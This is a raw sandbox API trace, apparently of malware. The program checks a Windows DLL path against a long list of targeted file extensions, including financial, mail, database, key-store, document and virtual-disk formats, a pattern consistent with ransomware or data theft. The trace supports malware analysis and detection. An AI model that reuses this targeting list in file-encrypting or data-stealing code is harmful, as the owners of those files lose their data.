(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.281] lstrlenA (lpString="*.myox") returned 6 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.281] lstrlenA (lpString="*.myo") returned 5 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.281] lstrlenA (lpString="*.qbw") returned 5 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.281] lstrlenA (lpString="*.qbb") returned 5 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.281] lstrlenA (lpString="*.qbm") returned 5 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.281] lstrlenA (lpString="*.qbo") returned 5 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.281] lstrlenA (lpString="*.qbx") returned 5 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.281] lstrlenA (lpString="*.qba") returned 5 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.281] lstrlenA (lpString="*.qby") returned 5 [0103.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.282] lstrlenA (lpString="*.qbj") returned 5 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.282] lstrlenA (lpString="*.ofx") returned 5 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.282] lstrlenA (lpString="*.qif") returned 5 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.282] lstrlenA (lpString="*.mye") returned 5 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.282] lstrlenA (lpString="*.mbox") returned 6 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.282] lstrlenA (lpString="*.eml") returned 5 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.282] lstrlenA (lpString="*.pst") returned 5 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.282] lstrlenA (lpString="*.ost") returned 5 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.282] lstrlenA (lpString="*.idx") returned 5 [0103.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.283] lstrlenA (lpString="*.dbx") returned 5 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.283] lstrlenA (lpString="*.sql") returned 5 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.283] lstrlenA (lpString="*.mdb") returned 5 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.283] lstrlenA (lpString="*.fdb") returned 5 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.283] lstrlenA (lpString="*.wab") returned 5 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.283] lstrlenA (lpString="*.dat") returned 5 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.283] lstrlenA (lpString="*.txt") returned 5 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.283] lstrlenA (lpString="*.jpeg") returned 6 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.283] lstrlenA (lpString="*.jpg") returned 5 [0103.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.284] lstrlenA (lpString="*.png") returned 5 [0103.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.284] lstrlenA (lpString="*.php") returned 5 [0103.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.284] lstrlenA (lpString="*.cs") returned 4 [0103.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.284] lstrlenA (lpString="*.cpp") returned 5 [0103.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.284] lstrlenA (lpString="*.rar") returned 5 [0103.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.284] lstrlenA (lpString="*.zip") returned 5 [0103.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.284] lstrlenA (lpString="*.html") returned 6 [0103.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.284] lstrlenA (lpString="*.htm") returned 5 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.285] lstrlenA (lpString="*.xlsx") returned 6 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.285] lstrlenA (lpString="*.xls") returned 5 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.285] lstrlenA (lpString="*.mp4") returned 5 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.285] lstrlenA (lpString="*.ppt") returned 5 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.285] lstrlenA (lpString="*.pptx") returned 6 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.285] lstrlenA (lpString="*.doc") returned 5 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.285] lstrlenA (lpString="*.dot") returned 5 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.285] lstrlenA (lpString="*.docx") returned 6 [0103.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.285] lstrlenA (lpString="*.7z") returned 4 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.286] lstrlenA (lpString="*.tar") returned 5 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.286] lstrlenA (lpString="*.bz2") returned 5 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.286] lstrlenA (lpString="*.gz") returned 4 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.286] lstrlenA (lpString="*.mkv") returned 5 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.286] lstrlenA (lpString="*.eml") returned 5 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.286] lstrlenA (lpString="*.msg") returned 5 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.286] lstrlenA (lpString="*.edb") returned 5 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.286] lstrlenA (lpString="*.accdb") returned 7 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.286] lstrlenA (lpString="*.odb") returned 5 [0103.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.287] lstrlenA (lpString="*.java") returned 6 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.287] lstrlenA (lpString="*.asm") returned 5 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.287] lstrlenA (lpString="*.pfx") returned 5 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.287] lstrlenA (lpString="*.pem") returned 5 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.287] lstrlenA (lpString="*.p12") returned 5 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.287] lstrlenA (lpString="*.gpg") returned 5 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.287] lstrlenA (lpString="*.vsd") returned 5 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.287] lstrlenA (lpString="*.odg") returned 5 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.287] lstrlenA (lpString="*.raw") returned 5 [0103.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.287] lstrlenA (lpString="*.nef") returned 5 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.288] lstrlenA (lpString="*.svg") returned 5 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.288] lstrlenA (lpString="*.psd") returned 5 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.288] lstrlenA (lpString="*.vmx") returned 5 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.288] lstrlenA (lpString="*.vmdk") returned 6 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.288] lstrlenA (lpString="*.vdi") returned 5 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.288] lstrlenA (lpString="*.lay6") returned 6 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.288] lstrlenA (lpString="*.mpeg") returned 6 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.288] lstrlenA (lpString="*.djvu") returned 6 [0103.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.288] lstrlenA (lpString="*.tiff") returned 6 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.289] lstrlenA (lpString="*.backup") returned 8 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.289] lstrlenA (lpString="*.pdf") returned 5 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.289] lstrlenA (lpString="*.cert") returned 6 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.289] lstrlenA (lpString="*.docm") returned 6 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.289] lstrlenA (lpString="*.xlsm") returned 6 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.289] lstrlenA (lpString="*.dwg") returned 5 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.289] lstrlenA (lpString="*.nd") returned 4 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.289] lstrlenA (lpString="*.tlg") returned 5 [0103.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.290] lstrlenA (lpString="*.lgb") returned 5 [0103.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.290] lstrlenA (lpString="*.mov") returned 5 [0103.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.290] lstrlenA (lpString="*.xdw") returned 5 [0103.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.290] lstrlenA (lpString="*.ods") returned 5 [0103.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.290] lstrlenA (lpString="*.wav") returned 5 [0103.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 